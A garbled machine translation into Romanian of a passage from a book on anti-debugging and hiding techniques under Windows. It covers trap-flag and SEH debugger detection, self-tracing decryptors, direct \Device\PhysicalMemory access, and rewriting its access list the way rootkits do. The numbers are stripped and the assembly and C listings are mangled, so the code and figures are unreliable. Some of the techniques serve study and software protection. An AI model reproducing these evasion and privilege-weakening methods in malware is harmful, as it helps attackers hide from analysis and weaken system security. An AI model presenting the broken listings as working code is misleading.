copie licențiată a programului să o decripteze cu propria sa cheie și să elimine absolut toate verificările de acolo? Astfel, este de dorit ca orice apărare să poată preveni în mod eficient detectarea și analiza sa, contracarând simultan dezasamblatorul și depanatorul - principalele instrumente ale crackerului Fără el, protecția nu este protecție În timpul domniei MS-DOS, programele în modul real au dominat, având control exclusiv asupra procesorului, memoriei și hardware-ului, trecând în orice moment liber în modul protejat și revenind înapoi Depanatorii de la acea vreme (încă slabi, slabi, neviabil) erau ușor înșelați (taiați, blocați) de tehnici de programare banale care erau folosite activ de apărare Dezasamblatorii din acel moment au căzut cu ușurință într-o stupoare de la simpla vedere a codului criptat sau care se modifica singur Într-un cuvânt, a fost un adevărat paradis pentru dezvoltatorii de securitate Totul s-a schimbat astăzi În primul rând, nimeni nu va permite ca un program de aplicație sub Windows să fie deosebit de voluntar Acum nu veți face prea mult overclock cu modul protejat Dezvoltatorii de securitate trebuie să folosească instrucțiuni prozaice, fără privilegii, fără să se gândească la diferite trucuri Aceeași mică parte din tehnicile defensive care pot funcționa într-un astfel de mediu se confruntă cu depanatoare și dezasamblatoare, a căror putere a crescut semnificativ Suportul hardware pentru depanarea în + procesoare, împreună cu modul virtual de operare, instrucțiunile privilegiate și memoria virtuală, vă permite să creați depanatoare care cu greu pot fi detectate de programul de aplicație și, cu atât mai mult, este imposibil ca acesta să obțină controlul peste ei Partea a V-a Săpărea codurilor practice Există și emulatori-depanatoare, de fapt - mașini virtuale reale care execută independent codul în loc să-l ruleze pe un procesor „în direct” În acest caz, emulatorul rulează întotdeauna în modul supervizor, chiar și în raport cu codul depanat al inelului zero Apărarea are șanse foarte mici de a detecta depanatorul sau de a interfera cu funcționarea acestuia Și chiar și atunci, acest lucru devine posibil numai dacă emulatorul este implementat cu erori Au apărut și dezasamblatoare interactive (de exemplu, IDA Pro), care, datorită interacțiunii strânse cu utilizatorul, pot ocoli orice capcane imaginabile și inimaginabile lăsate de dezvoltator Chiar și la nivelul inelului zero în Windows, este foarte dificil să ascunzi ceva - pentru a asigura compatibilitatea cu întreaga flotă de sisteme de operare similare Windows, trebuie să folosești doar funcții documentate Protecția clădirilor în Windows este ca și cum ai încerca să te pierzi în parc Chiar dacă ar exista cel puțin un milion de copaci, toți sunt localizați corect din punct de vedere geometric și agățați din belșug cu indicatoare „ieșirea este acolo” Astfel, este foarte dificil, dacă nu imposibil, să reziste în mod fiabil învățării dintr-un program Cu toate acestea, multe trucuri împotriva depanatorilor și dezasamblatorilor sunt pur și simplu interesante în sine și demne de a fi luate în considerare în această carte Trucuri vechi anti-depanare sub Windows într-un mod nou După cum am menționat mai devreme, metodele de spargere a mecanismelor de securitate (cu posibila excepție a metodelor de securitate criptografică) se reduc în practică la detectarea unui cod de securitate și analizarea principiilor funcționării acestuia Până în prezent, nu există metode fiabile pentru a preveni analiza codului de securitate Notă O descriere detaliată a mecanismelor anti-depanare ar necesita o carte separată O atenție deosebită tehnicilor anti-depanare este acordată în cartea „Tehnici de depanare a programelor fără coduri sursă”, ale cărei fragmente cheie sunt date pe CD-ul furnizat împreună cu această carte în :\PARTO \CH \SUPPLEMENTARY director În acest capitol, se va încerca să se demonstreze că noul este doar vechiul bine uitat Trucurile anti-depanare din zilele de celule MS-DOS și Debug (Figura ) revin pentru a funcționa din nou în Windows /XP/ Materialele prezentate în această secțiune nu numai că vă vor stârni interesul ritual și nostalgic, dar vă vor servi și ca ghid practic pentru combaterea hackerilor și a depanatorilor Orez Depanator antic Debug com Chris Kaspersky „Tehnica de depanare a programelor fără texte sursă” - Sankt Petersburg: BHV-Petersburg, Capitolul Trucuri anti-depanare și ascunselea sub Windows și Linux Depanatorii (și depanatorul, după cum știți, este instrumentul principal al unui hacker) au parcurs o cale evolutivă lungă În acest timp, s-au găsit multe modalități de a le face față, dar nu toate au avut succes Recent, a existat o lipsă acută de tehnici bune anti-depanare Deci nu este timpul să ne întoarcem la rădăcini – tehnici străvechi, dovedite de-a lungul anilor? Progresul tehnologic este în spirală, iar apărările dezvoltate pentru MS-DOS, care au devenit învechite până la sfârșitul existenței sale, au un efect mortal asupra depanatorilor Windows, care pur și simplu nu au prevăzut această întorsătură a evenimentelor și capitulează imediat fără să încerce măcar să lupte Desigur, transferul direct al tehnicilor anti-debugging din MS-DOS pe Windows este imposibil, fie și doar pentru că Windows nu are „întreruperi” în sensul pe care MS-DOS le pune în ele Îi lipsesc porturile I/O, memoria fizică și multe alte concepte familiare programatorilor DOS Adică, ele, desigur, există (unde fără întreruperi?!), dar tehnica de lucru cu ele este radical diferită Prin urmare, este încă necesară o anumită adaptare Ne vom concentra asupra stratului de aplicare Unele dintre metodele descrise sunt aproape complet independente de sistem și funcționează sub orice sistem de operare pe de biți din familia Windows, acceptând parțial Windows x și Windows XP ediția pe de biți Unele necesită doar Windows NT sau un derivat al acestuia și nu avem garanții că va funcționa în versiunile viitoare de Windows Chiar dacă folosești doar funcții documentate, trebuie totuși să ții cont de faptul că Microsoft le poate schimba oricând, așa cum a făcut în mod repetat și din ce în ce mai des în ultima vreme Este mai bine să nu utilizați deloc funcții dependente de sistem și să scrieți totul în ANSI C/C++ sau Delphi Notă De fapt, Delphi este un „sistem de operare” independent, întins peste Windows și care face abstracție programatorului de capriciile Microsoft Pur și simplu recompilați codul și gata Cu toate acestea, nu trebuie să vă temeți de tehnicile anti-depanare Utilizarea lor este destul de acceptabilă, dacă nu de dorit O colecție bună de trucuri antice anti-debugging poate fi găsită în articolul „Anti Debugging Tricks” (http://textriles group lt/programming/antidbg txt), scris de celebrul scriitor de virus Inbar Raz Articolul a fost scris în , dar tehnicile descrise în el sunt de o vârstă mult mai respectabilă Mulți dintre ei au migrat la MS-DOS de pe platforme și mai vechi Această secțiune va încerca să le porteze pe Windows Program de auto-urmărire Unul dintre cele mai vechi trucuri se bazează pe „absorbția” întreruperii urmei de către depanator Să o luăm în considerare mai detaliat După cum știți, procesoarele x au un steag de urmărire special (Trap Flag, tf) Când este armat, după executarea fiecărei instrucțiuni, se generează o întrerupere specială de depanare, procesată de depanator (dacă, bineînțeles, este instalat și chiar depanează programul) În caz contrar, handlerul implicit preia controlul În MS-DOS, este un stub „fachin”, constând dintr-o singură instrucțiune iret, iar execuția programului nu este întreruptă Dar acum Windows ridică o excepție, ducând la apariția binecunoscutei casete de dialog, raportând că „programul a efectuat o operațiune ilegală și va fi închis” În mod oficial, steag-ul de urmărire face parte din registrul de steaguri și, prin urmare, poate fi stocat pe stivă cu instrucțiunile pushf/pushfd Cu toate acestea, este probabil că nu veți putea recunoaște faptul unei urme în acest fel, deoarece mulți depanatori își maschează prezența Când parcurg programul, ei verifică suplimentar dacă comanda tocmai executată nu este o instrucțiune pushf și, dacă da, corectează valoarea registrului stocată pe stivă Partea a V-a Sapă practică de coduri steaguri, resetarea tf la zero Adevărat, aici poți înșela De exemplu, adăugând câteva prefixe suplimentare înainte de comanda pushf - atunci va exista șansa ca depanatorul să nu le poată recunoaște De asemenea, puteți utiliza codul care se modifică automat prin plasarea instrucțiunii pushf pe stivă, astfel încât valoarea salvată a registrului de steag o suprascrie complet Adevărat, există o mică problemă Producătorii de hardware și software au recunoscut în sfârșit faptul că nu au reușit niciodată să-i învețe pe programatori cum să programeze, iar acum nu vor mai putea Sistemele de operare și aplicațiile sunt literalmente pline de erori de depășire a memoriei tampon prin care se răspândesc viermi, troieni și alte programe rău intenționate Pentru a acoperi lacuna, a trebuit să iau o măsură destul de dură, controversată și radicală - o stivă care nu poate fi executată Și, deși încă nu va opri răspândirea viermilor, deoarece există și alte tipuri de depășiri de buffer, pentru noi (utilizatori și programatori), în termeni practici, aceasta înseamnă că multe programe nu vor mai funcționa În special, ele includ programe protejate de packer și protectori care folosesc cod cu auto-modificare care rulează pe stivă Prin urmare, Microsoft a oferit posibilitatea de a dezactiva protecția La prima încercare de a executa codul pe stivă, Windows XP va arunca o casetă de dialog formidabilă (Fig ) și dacă utilizatorul răspunde afirmativ, programul protejat va continua să ruleze, așa că nu este chiar atât de rău apoi ajutați-vă să vă protejați computerul, Windows a dozat acest program Nume: Windows Explorer Editor: Microsoft Corporation mesaj de închidere Data Execution Prevention ajută la protejarea împotriva daunelor cauzate de viruși și alte amenințări de securitate Orez Casetă de dialog care apare când se încearcă executarea codului pe stivă Cu toate acestea, depanatorii precum Microsoft Visual C++ nu trebuie să fie păcăliți, iar codul simplu afișat în Lista - le detectează cu ușurință prezența Încearcă pas cu pas și vezi ce se întâmplă! pushf ; Salvăm steagurile pe stivă, inclusiv TF pop eax ; Apăsarea steagurilor salvate în ex și ex, Oh; Selectați steagul de urmărire jnz under debugger ; Dacă TF-ul este armat, suntem urmăriți Principalul dezavantaj al acestei tehnici este că este foarte ușor de deplasat Este suficient, de exemplu, să potriviți pur și simplu cursorul la comanda pushf, să dați depanatorului o comandă aici (adică să executați programul în această poziție fără urmărire), apoi să fixați cursorul la comanda jnz și să lansați comanda Această tehnologie în sine se numește Data Execution Prevention (DEP) Sistemele de operare Windows XP Service Pack (SP ) și Microsoft Windows XP Tabiet PC Edition implementează DEP atât în software, cât și în hardware Descrierea sa detaliată poate fi găsită aici: http://support inicrosoft coin/kb/ Capitolul Trucuri anti-depanare și Hide and Seek pe Windows și Linux face din nou aici Astfel, fragmentul protejat va fi executat în modul normal, iar prezența depanatorului va trece neobservată Acesta este motivul pentru care mulți programatori preferă să stocheze flag case la un moment dat în program și să le verifice în altul Hackerii începători sunt confuzi, dar hackerii experimentați nu pot fi păcăliți așa Au dezvoltat de mult un reflex necondiționat la construcția pushf / pop reg / xxx reg, h și, în plus, nu costă nimic ca un cracker să fie înlocuit și eax, h cu și eax, Oh, și atunci programul va fi pentru totdeauna pierde capacitatea de a recunoaște depanatorul Este posibil (și necesar), desigur, să adăugați o verificare a propriei integrități, dar este puțin probabil ca acesta să întârzie hackerul pentru o lungă perioadă de timp Și acum să luăm în considerare o versiune ușor modificată a aceleiași protecție, care recunoaște prezența unui depanator, indiferent dacă programul este executat în modul pas sau nu Algoritmul de lucru în termeni generali arată astfel: noi înșine setăm steag-ul de urmărire și executăm următoarea comandă Procesorul aruncă ascultător o excepție, pe care o prindem cu un handler SEH preinstalat care transferă controlul codului nostru Dar cu depanatorul prezent, excepția este „consumată” și handlerul SEH nu mai este controlat (Listing ) Lista Truc universal anti-depanare care recunoaște traceback în majoritatea depanatoarelor ; Instalați un nou handler structural de excepții ; Resetăm registrul eax ; Apăsați un indicator către noul handler de pe stivă ; Punem un pointer către vechiul handler de pe stivă ; Înregistrați un nou handler SEH ea, ea offset SEH handler dword ptr fs:[eax] fs:[eax],esp push push mov ; cock the trace flag pushf pop împinge popf ; Împingerea unui registru pe stivă ; Împingându-și conținutul ; Ridicați steagul TF ; Împingeți eax pe stivă ; Împingându-și conținutul ; Steagul de urmărire este acum setat steaguri în registru eax la registrul steagului under debugger ; După executarea acestei comenzi, se generează ; excepție, iar dacă nu este instalat niciun depanator, ; este interceptat de handlerul SEH, care ; ajustează EIP și această comandă nu este executată ; Sub depanator, există o tranziție la ramură ; under debugger ; Codul principal al programului ; Handler SEH poate fi ; (este mai bine să-l plasați departe de codul de securitate, ; astfel încât să nu fie atât de vizibil) SEH handler: Ale mele Să presupunem mov situat oriunde esi, [esp+Och] esi: PTR CONTEXT [esi] regEip, offset continua ; Unde se continuă execuția; în lipsa unui depanator ; Indicator către contextul registrului ; Ieșirea din handler SEH continua: ; // Controlul va continua de aici dacă nu este instalat niciun depanator Partea a V-a Săpare practică de cod Această tehnică vă permite să detectați SoftICE și multe alte aplicații de depanare și nu reacționează la depanarea pasivă, ceea ce este foarte bun Utilizatorul programului nostru poate rula SoftICE și poate depana alte programe Dar, de îndată ce încearcă să încarce programul nostru în depanator, acesta va da imediat un semnal Același lucru se va întâmpla dacă un hacker atașează un depanator la un proces care rulează deja sau intră în mijlocul unui program setând puncte de întrerupere pe funcțiile API Desigur, codul anti-depanare ar trebui să fie executat nu înainte, ci după ce depanatorul este încărcat Adică, nu merită să-l plasezi chiar la începutul programului protejat Este mai bine să-l duplicați de mai multe ori în locuri diferite Frumusețea acestei tehnici este că este destul de dificil de recunoscut atunci când piratați Nu există verificări explicite, iar comanda jmp under debugger arată ca o oaie nevinovată Când este executat fără un depanator, se ridică o excepție, care este prinsă de handler, iar execuția programului merge într-un mod complet diferit Handler-ul înlocuiește indicatorul de comandă, deși, totuși, nu a putut face acest lucru - spre deosebire de întreruperi, din care în MS-DOS era necesar să se iasă cât mai curând posibil pentru a nu ruina sistemul, gestionarea excepțiilor structurale, în principiu , poate conține întregul cod al programului Astfel, este complet opțional să manipulezi contextul - de ce să atragi încă o dată atenția unui hacker? Sub depanator, comanda jmp under debugger este executată „ca atare”, iar un hacker poate arunca o privire în ramura falsă under debugger pentru foarte mult timp, fără să înțeleagă deloc ce se întâmplă aici Pentru a întârzia hack-ul, este mai bine să nu raportați imediat că depanatorul este detectat, ci să strecurați un cod criptat sau altceva Principalul lucru este că comenzile popf și jmp under debugger nu sunt separate de alte instrucțiuni! În caz contrar, protecția nu va funcționa! O excepție de urmărire este generată imediat după executarea primei comenzi situate după popf, iar dacă se dovedește a fi, de exemplu, atunci instrucțiunea jmp nu va mai primi nicio excepție Deci nu va mai fi posibilă mascarea codului de securitate prin răspândirea lui pe întreg perimetrul operațional De asemenea, un hacker poate suprascrie cu ușurință protecția prin simpla înlocuire a jmp under debugger cu jmp continue Pentru a contracara acest lucru, trebuie să puneți un steag special în handlerul SEH și să îl verificați în timpul execuției programului - dacă a fost apelat sau nu Și în handlerul SEH în sine, puteți controla și tipul excepției, altfel hackerul va adăuga pur și simplu xor eax, eax / tov [eax], eax (accesul printr-un pointer nul care generează o excepție) și apoi SEH handlerul va primi control atât sub depanator, cât și fără acesta Să ne punem această întrebare: poate depanatorul să urmărească un program care este deja sub urmărire (de exemplu, fiind depanat de un alt depanator sau urmărirea în sine) Nu direct, deoarece procesoarele x au un singur semnal de urmărire, iar imbricarea acestuia nu este acceptată Pe de altă parte, dacă depanatorul de nivel superior monitorizează accesul semnalului de urmărire și emulează excitarea unei întreruperi de urmărire, transferând controlul nu către următoarea comandă, ci către handler-ul SEH, atunci o astfel de schemă poate funcționa Adevărat, codul de depanare va deveni mult mai complicat și, deoarece depanatoarele comerciale sunt destinate exclusiv programatorilor legali care nu sparg protecțiile (sau, în orice caz, preferă să nu-l facă reclamă), pur și simplu nu există niciun motiv pentru care un producător să creeze un depanator ideal Cât despre depanatorii necomerciali Cu tot respectul pentru ei, pentru a ajunge la perfecțiune, mai trebuie să crească și să crească Cu toate acestea, depanatoarele care emulează se ocupă cu ușurință de o astfel de protecție, dar unde ați văzut un depanator care emulează sub Windows? Puteți, desigur, să luați un emulator de PC cu drepturi depline cu un depanator integrat precum Bochs , dar depanarea aplicațiilor Windows pe acesta este aproape imposibilă, deoarece nu există nicio modalitate de a distinge codul unui proces de altul Un program care se urmărește singur nu rulează corect sub depanatoare - este urmărit de depanator, dar nu de la sine Este o idee bună să atașați un dispozitiv de despachetare la trasorul care decriptează programul pe măsură ce este executat Acest lucru se complică semnificativ Sub care, apropo, există depanare suplimentare incluse în codul sursă, dar nu și în ansamblul binar finit Capitolul Trucuri anti-depanare și Hide and Seek pe Windows și Linux hacking, făcând adesea aproape imposibil În loc să verifice în mod explicit sau indirect depanatorul, programul folosește resursele partajate cu depanatorul, iar sub depanator devine pur și simplu nefuncțional Cel mai simplu exemplu de astfel de protecție este prezentat în Lista - Funcționează doar sub MS-DOS, dar este totuși ușor portat pe Windows În acest scop, handler-ul de întrerupere este înlocuit cu un handler structural de excepție (așa cum se arată în Lista ), iar funcția VirtualProtect API este apelată înainte de decriptare pentru a seta atributul de înregistrare Versiunea Wmdows nu este greu de implementat, dar este prea greoaie și, prin urmare, nu este foarte vizuală Lista Un exemplu de cel mai simplu program de auto-urmărire sub MS-DOS ; // Configurați un nou handler de întrerupere a urmăririi int Olh Mov ax, h ; Funcția h (setare întrerupere), întrerupere - Olh Lea dx,newint h ; Indicator către un handler de întrerupere int b ; Funcția de serviciu ms-dos ; // Setați marcatorul de urmărire pushf ; Salvați registrul de steaguri pe stivă pop ah; Îl împingem în registru ah sau ah, ; Încordăm bitul TF împinge ah; Salvați toporul de registru modificat pe stivă popf ; Împingem valoarea modificată în registrul de steaguri // Acum, după executarea fiecărei comenzi, procesorul va genera int , // trecând controlul către handler // Pregătește parametrii pentru decriptare Lea si, crypted begin Mov cx, (offset crypted end - crypted begin) / repeta: ; // Bucla principală de decriptare lodsw; Citim următorul cuvânt cu si în ah, crescând si cu mov[si- ],bx ; Scrieți conținutul bx în celulă [esi- ] repetarea buclei; Buclă până când cx este zero ; Pare o buclă proastă care funcționează ca un memset ; acestea umplerea zonei de memorie cu conținutul bx, ; care nici măcar nu a fost inițializat ; Cu toate acestea, nu este cazul și la fiecare viraj, ; Urmări întreruperea transferului de control ; handler int Olh, care modifică implicit bx ; // Resetează semnalul de urmărire pushf ; Salvați registrul de steaguri pe stivă pop dx; Împingeți-l în registrul dx ; (ax este folosit de handlerul int Olh) și dh, OFEh; Resetați bitul TF push dx ; Salvați registrul dx modificat pe stivă popf ; Împingem valoarea modificată în registrul de steaguri ; // O altă capcană pentru hacker ]irp to dbg: jrnps under debugger În mod implicit, secțiunile text/ code și rodata au atributul Read-Only, iar decodarea directă a codului din ele nu este posibilă Partea a V-a Săpărea codurilor practice ; „Payload” (codul programului principal) new int h: xorax, fadh ; Criptăm conținutul registrului ax mov bx, ax; Îl plasăm în registrul bx mov word ptr cs: [jrrp to dbg], h ; „Ucide” ramura condiționată care duce la ramura falsă; (sub depanator, handlerul int Olh nu va primi ; controalele și tranziția nu va fi ucisă) ; Ieșim din gestionarea întreruperilor crypted begin: ; Cod/date criptate crypted end: Poate fi spart? Sincer să fiu, acest exemplu se rupe fără prea mult stres și cu un efort minim Este suficient doar să setați un punct de întrerupere hardware pe crypted begin și să așteptați finalizarea decompresiei, apoi să luați dump-ul și să îl transformați într-un fișier exe care poate fi deja depanat în mod obișnuit Pentru a nu fi păcălit, apărarea ar trebui să folosească multe decriptoare imbricate sau să lupte cu depanatorul într-un alt mod (de exemplu, ucideți-l prin accesul la memoria fizică, despre care vom discuta în secțiunea următoare Principalul avantaj al tehnicii descrise este că funcționează bine sub întreaga linie Windows (atât Windows x, cât și Windows NT) și este puțin probabil ca ceva să se schimbe în versiunile ulterioare Exemple anti-depanare bazate pe accesul la memoria fizică În MS-DOS, codul de depanare și datele de sistem (de exemplu, tabelul vector de întrerupere) se aflau în același spațiu de adrese ca și programul depanat, ceea ce a deschis mult spațiu pentru metode de luptă A fost posibil să scanați memoria și să omorâți depanatorul sau pur și simplu să utilizați vectorii de depanare (int Olh și int h) pentru nevoile mecanismului de protecție, punând acolo ceva util (să zicem, cheia de decriptare) și după un timp citit e înapoi Dacă nu există un depanator sau este inactiv, atunci distorsiunea vectorilor de depanare nu afectează sistemul de operare Dar sub depanator, totul va fi diferit Cel mai probabil, va avea loc o prăbușire totală, deoarece atunci când se generează o întrerupere de urmărire sau se atinge un punct de întrerupere, controlul va fi transferat în „spațiu” (vectorul este distorsionat!) Dacă depanatorul restaurează forțat vectorii, atunci în loc de datele salvate, programul protejat nu va mai citi cheia de decriptare, ci ceva complet diferit! Teoretic, pe mai mult de de procesoare, depanatorul poate controla accesul la vectorii de depanare și poate emula operațiunile de citire/scriere fără a le efectua efectiv Dar asta ar necesita două puncte de întrerupere hardware În același timp, există doar patru puncte de întrerupere hardware în procesoarele x și întotdeauna nu sunt suficiente, așa că nu există niciun motiv pentru a le împrăștia Sistemul de operare Windows folosește spații de adrese separate și memorie virtuală, ceea ce înseamnă că aplicația depanată nu poate „ajunge” nici la depanator, nici la vectorii de întrerupere Puteți, desigur, să scrieți un șofer (după cum știți, un șofer poate face totul Capitolul Trucuri anti-depanare și Hide and Seek pe Windows și Linux sau aproape toate), dar am vorbit deja despre problemele conexe Scrierea driverelor necesită o îndemânare ridicată, în plus, datorită dimensiunilor lor mici, driverele sunt foarte ușor de spart și este aproape imposibil să scrieți un driver complex - „punerea în funcțiune” a acestuia vă va lua tot restul vieții Sistemele de operare ale familiei Windows NT au un pseudo-dispozitiv PhysicalMemory special care oferă acces de citire/scriere la memoria fizică Aceasta este într-adevăr memorie fizică și, chiar înainte de traducerea virtuală, conține tot ce se află în memoria computerului în acest moment Paginile schimbate pe disc din fișierul de schimb nu sunt acolo, dar nu avem nevoie de ele Avem nevoie de cod de sistem de operare și date Cu drepturi de administrator, nu numai că putem citi PhysicalMemory, ci și scrie acolo Da Da! Ai auzit bine și nu este o greșeală de scriere! Din stratul de aplicație, puteți intra în sfânta sfintelor sistemului de operare, modificând liber codul care rulează la nivelul privilegiat al inelului zero (ring ) Aceasta, la rândul său, înseamnă că avem de fapt inelul la nivelul aplicației (ringul )! Orice depanator poate fi distrus fara probleme, chiar daca este un emulator debugger Singurele excepții sunt mașinile virtuale precum Bochs, dar, așa cum am spus deja, încercarea de a depana o aplicație Windows pe ele nu este serioasă Hackerul se va îneca în fire străine și apeluri de sistem! Unii consideră că PhysicalMemory este o gaură teribilă de securitate De fapt, nu este nimic anormal aici Dacă un hacker are drepturi de administrator, el poate încărca liber drivere din care poți face ce vrei, iar în Windows NT, încărcarea unui driver nu necesită o repornire Aceasta înseamnă că prezența pseudo-dispozitivului PhysicalMemory nu afectează în niciun fel securitatea, ci doar face accesul la memoria fizică mai confortabil și mai convenabil UNIX (al cărui model de securitate a evoluat de-a lungul anilor) are de mult timp pseudo-dispozitive /dev/mem și /dev/kmem care oferă acces la memoria fizică înainte și după traducere, dar nimeni nu le va critica Această funcție este necesară pentru multe programe de sistem și pentru sistemul de operare însuși Dacă este eliminat, atunci programatorii vor începe să scrie propriile drivere care oferă acces la memoria fizică și apoi va începe o confuzie completă, deoarece astfel de drivere nu sunt excluse în niciun caz de la tot felul de erori Un dezvoltator de drivere poate uita de verificarea nivelului de privilegii și poate oferi acces nu numai administratorilor, ci tuturor utilizatorilor sistemului, ceea ce nu va fi bine Cu toate acestea, Microsoft a făcut totuși un pas destul de controversat, iar în Windows Server cu Service Pac instalat, nici administratorul și nici măcar contul de sistem nu au acces la PhysicalMemory (vezi articolul „Modificări ale funcționalității în Microsoft Windows Server Service Pack DeviceNPphysicalMemory Object" de pe site-ul Microsoft: http://www microsoft com/technet/prodtechnol/windowsserver /library/BookofSPl/e f a -cfl - a -bea -f dl ce mspx) Cu toate acestea, pe toate celelalte sisteme, această tehnică funcționează destul de bine, așa că nu ar trebui să o anulați Să luăm utilitarul ob^dir din Windows NT DDK și să-l rulăm cu opțiunea \Device (vedeți dispozitivele și pseudo-dispozitivele instalate pe sistem) Ieșirea acestui utilitar va arăta ceva ca Lista - $ob:jdir \Dispozitiv Parai lelVdmO ParTechIncO Partechlncl ParTechInc PfModNT memorie fizică PointerClassO Dispozitiv Dispozitiv Dispozitiv Dispozitiv Dispozitiv Secțiune dispozitiv Partea a V-a Săpărea codurilor practice Dispozitiv procesor Dispozitiv RasAcd Dispozitiv RawCdRom După cum puteți vedea, PhysicalMemory nu este chiar un dispozitiv, sau mai degrabă deloc un dispozitiv (Dispozitiv), ci o secțiune (Secțiune), cu care să lucrați cu care ar trebui să utilizați funcția NtOpenSection Un exemplu de cea mai simplă implementare a unui astfel de apel este prezentat în Lista Lista Deschiderea Pseudodispozitivului PhysicalMemory // Diverse variabile NTSTATUS ntS; Sectiunea MÂNER; OBJECT ATTRIBUTES ObAttnbutes; INIT UNICODE (ObStnng, L" \\Device\\PhysicalMemory"); // Inițializarea atributului InitializeObjectAttnbutes (&ObAttributes, &ObString, OBJ CASE INSENSITIVE | OBJ KERNEL HANDLE, NULL, NULL); // Deschiderea secțiunii PhysicalMemory ntS = NtOpenSectionț&Section, SECTION„MAP„READ|SECTION MAP WRITE, &ObAttnbutes) ; Poate că vrem să acordăm acces la pseudo-dispozitivul PhysicalMemory nu numai administratorului, ci și tuturor celorlalți utilizatori Pentru a face acest lucru, trebuie să modificați drepturile Desigur, numai administratorul poate face acest lucru, dar atunci toți cei care nu sunt leneși vor avea acces la memoria fizică Mulți viruși și rootkit-uri fac exact asta Ei se înregistrează în autoload (sau sunt fixați în sistem în orice alt mod) și așteaptă până când utilizatorul se conectează cel puțin o dată ca administrator După aceea, virușii schimbă drepturile asupra PhysicalMemory și continuă să funcționeze sub contul de utilizator Programele juridice, în special mecanismele de apărare, fac adesea același lucru Necesind pornirea ca administrator doar în etapa de instalare, ei, totuși, au timp să slăbească semnificativ securitatea sistemului în acest timp Ei bine, ce pot să spun? Nu instalați niciodată programe pe computer în care nu aveți deplină încredere Să luăm în considerare ce pași trebuie luați pentru a schimba atributele de acces □ Deschideți \Device\PhysicalMemory, folosind funcția NtOpenSection, obțineți un handle □ Preluați descriptorul de securitate din acesta apelând funcția GetSecuntylnf o □ Adăugați permisiuni de citire/scriere la Lista de control al accesului (ACL) utilizând funcția SetEntriesInAcl □ Actualizați descriptorul de securitate apelând setsecurityinfo □ Închideți mânerul returnat de funcția NtOpenSection Memoria fizică poate fi acum citită și scrisă Pentru a face acest lucru, secțiunea PhysicalMemory trebuie mapată pe spațiul de adrese virtuale apelând funcția Native API NtMapViewof Section Lista arată cum se poate realiza acest lucru Lista Maparea memoriei fizice la spațiul de adrese virtuale // Variabile de argument Secțiunea MÂNER - xxx ; // = OxAOOOOOOO) { return(Adresa de bază & OxFFFFOOO); return(Adresa de bază & OxlFFFFOOO); Partea a V-a Săpărea codurilor practice Acest algoritm se găsește în unele viruși și rootkit-uri (atunci când îl întâlnești în timpul dezasamblarii, vei ști ce este), dar în programele legale (în special cele comerciale!) Utilizarea lui este strict inacceptabilă Prin urmare, trebuie fie să scrieți propriul driver care apelează MmGetPhysicalAddress din modul kernel, fie, folosind faptul că adresele din intervalul soooooooh: EF h sunt traduse fără ambiguitate, introduceți un „bug” special în sistemul de operare De fapt, cu această abordare, hackerul își creează propria poartă de apel în sistem, care permite apelarea funcțiilor kernelului din stratul de aplicație Notă O modalitate de a implementa acest „bug” este prezentată în articolul menționat anterior „Joacă cu Windows /dev/(k)mem“, cu toate acestea, nu este lipsită de erori Astfel, pe mașinile multiprocesor (care, în special, sunt toate mașini cu o placă de bază și procesor Pentium- cu tehnologie HyperThreading, ca să nu mai vorbim de AMD multi-core), sunt posibile „ecranele albastre ale morții”, care din nou sunt inacceptabile Înseamnă asta că această tehnică anti-depanare este complet inutilă? Deloc! Dificultățile de a crea un program stabil și de încredere pe baza acestuia sunt de natură tehnică și sunt destul de depășite Dacă nu atingeți emisiunea, atunci nu apar deloc probleme! Cum funcționează Win K/XP SDT Restore Un bun exemplu de utilizare a accesului la memoria fizică de către programe „cinstite” este utilitarul SDT Restore, a cărui copie poate fi descărcată gratuit de la http://www security org sg/code/sdtrestore html După cum sugerează și numele, restaurează Tabelul de descriere a serviciului (SDT), care conține indicatorii către apeluri de sistem care pot fi interceptate de un atacator pentru a-și ascunde prezența în sistem Multe rootkit-uri fac exact asta Ele înlocuiesc apelurile originale cu ale lor, iar sistemul își pierde capacitatea de a detecta fișierele pe care le creează, procesează, conexiuni la rețea etc MS-DOS folosea discheta de sistem pentru a lupta împotriva virușilor Stealth, dar acele vremuri au trecut de mult Deși Windows, în principiu, poate fi încărcat de pe un disc laser (de exemplu, Windows PE) sau de pe un hard disk suplimentar, această abordare nu este foarte convenabilă, fie și numai pentru că necesită o repornire și este mai bine să nu reporniți servere Este mai ușor (deși nu la fel de fiabil) să restaurați SDT prin PhysicalMemory Și deși un rootkit poate urmări cu ușurință accesul la secțiunea PhysicalMemory (pentru aceasta, este suficient ca acesta să intercepteze funcția NtOpenSection), cele mai comune programe rău intenționate nu fac încă acest lucru și, prin urmare, pot fi neutralizate cu ușurință Cel putin pentru moment Mai multe informații despre metodele de deghizare și luptă pot fi găsite în articolul „Hide'n'Seek - Anatomy of Stealth Malware” (http://www blackhat com/presentations/bh-europe- /bh-eu- ) -erdelyi/bh -eu- -erdelyi-paper pdf) Tehnologii ascunse în lumea Windows Îmbunătățirea tehnologiilor stealth în cele din urmă (la mijlocul anului ) a condus la crearea de rootkit-uri de un tip fundamental nou, care sunt practic imposibil de detectat, cu atât mai puțin să se oprească De îndată ce un computer înghite așa-numita „pilulă albastră”, sistemul de operare se cufundă într-o lume virtuală complet controlată de un rootkit Prima lume, reală, încetează să mai existe Pentru a-l vedea, trebuie să înghiți „pastila roșie”, peste creația căreia se luptă cele mai bune minți de hackeri, dar până acum nu cu mare succes Secțiunea Anti-Depanare și Hide-and-Seek sub Windows și Linux Pastilă albastră și pastilă roșie Windows blocat în Matrix Înainte ca Windows Vista/Server Longhorn să fie pus în vânzare, a fost imediat spart de cercetătoarea poloneză Joanna Rutkowska , care a vorbit la conferința SyScan din Singapore pe iulie și două săptămâni mai târziu la Black Hat ( august, SUA, Las Vegas) ), unde a demonstrat un rootkit de nouă generație, numit „Blue Pili” („Pilula albastră”) – un semn clar din cap către „Matrice” Reacția reprezentanților Microsoft s-a dovedit a fi surprinzător de calmă: gândiți-vă, au spart beta! Nimeni nu a susținut că este imposibil să piratați Vista/Longhorn! Există un proces normal de „pătrundere” a sistemului, iar cu cât sunt dezvăluite mai multe erori în etapa de testare beta, cu atât vor apărea mai puține dintre ele în versiunea finală a produsului Cu toate acestea, Vista RC , lansat două luni mai târziu, a fost neschimbat și încă vulnerabil Microsoft a analizat situația și, în loc să elimine gaura, s-a prefăcut că nu este nicio gaură aici! (Vezi o discuție de la un angajat Microsoft: http://blogs msdn com/windowsvistasecurity/archive/ / / / aspx ) Ca, cu drepturi de administrator (și „Pilula Albastră” le cere) nici măcar nu se poate! Și ce, de fapt, este posibil cu ele?! Este imposibil să încărcați un driver nesemnat sau în orice alt mod legal pentru a 